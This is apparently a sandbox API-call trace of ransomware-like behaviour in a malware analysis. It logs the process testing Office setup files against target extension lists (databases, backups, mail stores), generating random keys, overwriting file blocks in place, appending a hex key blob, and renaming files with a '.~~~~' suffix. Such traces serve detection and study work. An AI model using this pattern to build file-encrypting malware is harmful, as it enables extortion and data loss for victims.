	[0080.789] lstrlenW (lpString=".sdf") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".sdf") returned 0x0
	[0080.789] lstrlenW (lpString=".accdb") returned 6
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".accdb") returned 0x0
	[0080.789] lstrlenW (lpString=".DBX") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DBX") returned 0x0
	[0080.789] lstrlenW (lpString=".MDT") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".MDT") returned 0x0
	[0080.789] lstrlenW (lpString=".SQB") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".SQB") returned 0x0
	[0080.790] lstrlenW (lpString=".vhd") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".vhd") returned 0x0
	[0080.790] lstrlenW (lpString=".bac") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".bac") returned 0x0
	[0080.790] lstrlenW (lpString=".mdf") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".mdf") returned 0x0
	[0080.790] lstrlenW (lpString=".BAK") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".BAK") returned 0x0
	[0080.790] lstrlenW (lpString=".BAC") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".BAC") returned 0x0
	[0080.790] lstrlenW (lpString=".dbs") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dbs") returned 0x0
	[0080.790] lstrlenW (lpString=".vhdx") returned 5
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".vhdx") returned 0x0
	[0080.790] lstrlenW (lpString=".NDF") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".NDF") returned 0x0
	[0080.790] lstrlenW (lpString=".dat") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dat") returned 0x0
	[0080.790] lstrlenW (lpString=".DBS") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DBS") returned 0x0
	[0080.790] lstrlenW (lpString=".CKP") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".CKP") returned 0x0
	[0080.790] lstrlenW (lpString=".edb") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".edb") returned 0x0
	[0080.790] lstrlenW (lpString=".PST") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".PST") returned 0x0
	[0080.790] lstrlenW (lpString=".dbf") returned 4
	[0080.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dbf") returned 0x0
	[0080.791] lstrlenW (lpString=".SQL") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".SQL") returned 0x0
	[0080.791] lstrlenW (lpString=".pst") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".pst") returned 0x0
	[0080.791] lstrlenW (lpString=".dbv") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dbv") returned 0x0
	[0080.791] lstrlenW (lpString=".SDF") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".SDF") returned 0x0
	[0080.791] lstrlenW (lpString=".dtxs") returned 5
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dtxs") returned 0x0
	[0080.791] lstrlenW (lpString=".db3") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".db3") returned 0x0
	[0080.791] lstrlenW (lpString=".OST") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".OST") returned 0x0
	[0080.791] lstrlenW (lpString=".dbx") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dbx") returned 0x0
	[0080.791] lstrlenW (lpString=".DB3") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DB3") returned 0x0
	[0080.791] lstrlenW (lpString=".DAT") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DAT") returned 0x0
	[0080.791] lstrlenW (lpString=".VHDX") returned 5
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".VHDX") returned 0x0
	[0080.791] lstrlenW (lpString=".ndf") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".ndf") returned 0x0
	[0080.791] lstrlenW (lpString=".DB") returned 3
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DB") returned 0x0
	[0080.791] lstrlenW (lpString=".sql") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".sql") returned 0x0
	[0080.791] lstrlenW (lpString=".MYD") returned 4
	[0080.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".MYD") returned 0x0
	[0080.792] lstrlenW (lpString=".DBT") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DBT") returned 0x0
	[0080.792] lstrlenW (lpString=".ACCDB") returned 6
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.792] lstrlenW (lpString=".fdb") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".fdb") returned 0x0
	[0080.792] lstrlenW (lpString=".bak") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".bak") returned 0x0
	[0080.792] lstrlenW (lpString=".myd") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".myd") returned 0x0
	[0080.792] lstrlenW (lpString=".DTXS") returned 5
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DTXS") returned 0x0
	[0080.792] lstrlenW (lpString=".ckp") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".ckp") returned 0x0
	[0080.792] lstrlenW (lpString=".dbt") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dbt") returned 0x0
	[0080.792] lstrlenW (lpString=".db") returned 3
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".db") returned 0x0
	[0080.792] lstrlenW (lpString=".TXT") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".TXT") returned 0x0
	[0080.792] lstrlenW (lpString=".MDF") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".MDF") returned 0x0
	[0080.792] lstrlenW (lpString=".bdb") returned 4
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".bdb") returned 0x0
	[0080.792] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.792] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0080.793] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.793] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.794] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20078366683) returned 1
	[0080.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a020e10, dwHighDateTime=0x1d60e1e)) 
	[0080.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280be78
	[0080.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280be78 | out: hHeap=0x300000) returned 1
	[0080.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.794] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0080.794] GetLastError () returned 0x0
	[0080.794] GetLastError () returned 0x0
	[0080.794] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0080.795] GetLastError () returned 0x0
	[0080.795] GetLastError () returned 0x0
	[0080.795] ReadFile (in: hFile=0x124, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.826] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.826] WriteFile (in: hFile=0x124, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0080.828] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.828] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.828] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.828] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.828] CloseHandle (hObject=0x124) returned 1
	[0080.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0080.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.~~~~")) returned 1
	[0080.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faef0 | out: hHeap=0x300000) returned 1
	[0080.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.829] GetLastError () returned 0x0
	[0080.830] RtlWakeConditionVariable () returned 0x365f70
	[0080.830] GetCurrentThreadId () returned 0x3a4
	[0080.830] GetCurrentThreadId () returned 0x3a4
	[0080.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0080.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff470 | out: hHeap=0x300000) returned 1
	[0080.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bf20 | out: hHeap=0x300000) returned 1
	[0080.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff470
	[0080.830] lstrlenW (lpString=".scr") returned 4
	[0080.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".scr") returned 0x0
	[0080.830] lstrlenW (lpString=".cmd") returned 4
	[0080.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".cmd") returned 0x0
	[0080.830] lstrlenW (lpString=".dll") returned 4
	[0080.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dll") returned 0x0
	[0080.830] lstrlenW (lpString=".bat") returned 4
	[0080.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".bat") returned 0x0
	[0080.830] lstrlenW (lpString=".cpl") returned 4
	[0080.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".cpl") returned 0x0
	[0080.831] lstrlenW (lpString=".sys") returned 4
	[0080.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".sys") returned 0x0
	[0080.831] lstrlenW (lpString=".msc") returned 4
	[0080.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".msc") returned 0x0
	[0080.831] lstrlenW (lpString=".com") returned 4
	[0080.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".com") returned 0x0
	[0080.831] lstrlenW (lpString=".lnk") returned 4
	[0080.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".lnk") returned 0x0
	[0080.831] lstrlenW (lpString=".msp") returned 4
	[0080.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".msp") returned 0x0
	[0080.831] lstrlenW (lpString=".pif") returned 4
	[0080.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".pif") returned 0x0
	[0080.831] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0080.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.884] lstrlenW (lpString=".sqb") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".sqb") returned 0x0
	[0080.885] lstrlenW (lpString=".ost") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".ost") returned 0x0
	[0080.885] lstrlenW (lpString=".txt") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".txt") returned 0x0
	[0080.885] lstrlenW (lpString=".mdt") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".mdt") returned 0x0
	[0080.885] lstrlenW (lpString=".BDB") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".BDB") returned 0x0
	[0080.885] lstrlenW (lpString=".eql") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".eql") returned 0x0
	[0080.885] lstrlenW (lpString=".DBF") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DBF") returned 0x0
	[0080.885] lstrlenW (lpString=".EQL") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".EQL") returned 0x0
	[0080.885] lstrlenW (lpString=".FDB") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".FDB") returned 0x0
	[0080.885] lstrlenW (lpString=".EDB") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".EDB") returned 0x0
	[0080.885] lstrlenW (lpString=".DACPAC") returned 7
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DACPAC") returned 0x0
	[0080.885] lstrlenW (lpString=".VHD") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".VHD") returned 0x0
	[0080.885] lstrlenW (lpString=".DBV") returned 4
	[0080.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DBV") returned 0x0
	[0080.886] lstrlenW (lpString=".dacpac") returned 7
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dacpac") returned 0x0
	[0080.886] lstrlenW (lpString=".sdf") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".sdf") returned 0x0
	[0080.886] lstrlenW (lpString=".accdb") returned 6
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".accdb") returned 0x0
	[0080.886] lstrlenW (lpString=".DBX") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DBX") returned 0x0
	[0080.886] lstrlenW (lpString=".MDT") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".MDT") returned 0x0
	[0080.886] lstrlenW (lpString=".SQB") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".SQB") returned 0x0
	[0080.886] lstrlenW (lpString=".vhd") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".vhd") returned 0x0
	[0080.886] lstrlenW (lpString=".bac") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".bac") returned 0x0
	[0080.886] lstrlenW (lpString=".mdf") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".mdf") returned 0x0
	[0080.886] lstrlenW (lpString=".BAK") returned 4
